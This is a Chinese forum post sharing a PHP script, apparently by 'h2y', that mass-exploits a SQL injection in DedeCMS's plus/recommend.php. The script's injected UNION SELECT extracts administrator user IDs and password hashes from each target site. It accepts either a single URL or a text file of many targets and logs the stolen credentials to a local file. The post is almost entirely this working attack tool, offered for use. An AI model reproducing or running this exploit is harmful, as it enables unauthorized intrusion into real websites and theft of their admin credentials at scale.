dede爆菊PHP加强版

admin

下面说下功能， 可以单个使用也可以批量使用，单个使用直接输入url作为参数就行，批量则输入txt文件做参数。下面上代码：

1. <?php
   
2. class f4ck_dede{    //定义一个类
   
3. 
   
4.         public function exploit($xxx){    //一个执行exp的方法函数
   
5.                 $url=str_replace("http://","",$xxx);
   
6.                 $expurl="http://{$url}/plus/recommend.php?aid=1&_FILES[type][name]&_FILES[type][size]&_FILES[type][type]&_FILES[type][tmp_name]=aa\'and+char(@`'`)+/*!50000Union*/+/*!50000SeLect*/+1,2,3,concat(0x3C6162633E,group_concat(0x7C,userid,0x3a,pwd,0x7C),0x3C2F6162633E),5,6,7,8,9%20from%20`%23@__admin`%23";
   
7.                 $ch=curl_init();         //通过PHP的curl扩展实现模拟访问，这个比较有意思，而且很多协议都支持，有兴趣的可以去http://cn2.php.net/curl看看
   
8.                 curl_setopt($ch,CURLOPT_HEADER,0);
   
9.                 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
   
10.                 curl_setopt($ch,CURLOPT_REFERER,$expurl);
    
11.                 curl_setopt($ch,CURLOPT_URL,$expurl);
    
12.                 $out=curl_exec($ch);
    
13.                 preg_match('~_<abc>(.*)</abc>_~',$out,$output);
    
14.                 $output=str_replace("_<abc>|","",$output[0]);
    
15.                 $output=str_replace("|</abc>_","",$output);
    
16.                 $result="web:{$url} | result:{$output}
    
17. ";
    
18.                 echo $result;
    
19.                 curl_close($ch);
    
20.                 file_put_contents("result.txt",$result,FILE_APPEND);  //将结果保存为本地文件
    
21.         }
    
22.         public function expp($argss){   //方法选择，单个还是批量，判断参数是文件就用批量，不是就是单个
    
23.                 if (preg_match('~(.*)(\.txt)~',$argss)){
    
24.                 $conts = file_get_contents($argss);
    
25.                 $arrConts = explode("\n",$conts);             //这段格式化我就直接copy大牛的了，http://sb.f4ck.org/thread-17307-1-1.html
    
26.                 $arrConts=str_replace(" ","",$arrConts);
    
27.                 $arrConts=str_replace("\r","",$arrConts);
    
28.                 $arrConts=str_replace("\n","",$arrConts);
    
29.                 for($i=0;isset($arrConts[$i]);$i++){
    
30.                 $this->exploit($arrConts[$i]);
    
31.                 }
    
32.                 }
    
33.                 elseif (isset($argss)){
    
34.         
    
35.                 $xx=$argss;
    
36.                 $this->exploit($xx);
    
37.                
    
38.                 }
    
39.                 }
    
40.         }
    
41.         set_time_limit(0);
    
42.         print_r("
    
43.         ++++++++++++++++++++++++++++++++++++++++++++++  
    
44.         +           dede exp                             +
    
45.         +     usage:dede.php url(or url.txt)         +
    
46.         +   example:dede.php www.xxx.com(or url.txt) +
    
47.         +                             by h2y         +
    
48.         +++++++++++++++++++++++++++++++++++++++++++++\n\n\n
    
49. ");
    
50.         @$website=$argv[1];
    
51.         $eexp=new f4ck_dede();  //新建一个对象
    
52.         @$eexp->expp($argv[1]);  //调用类方法
    
53. 
    
54. ?>

复制代码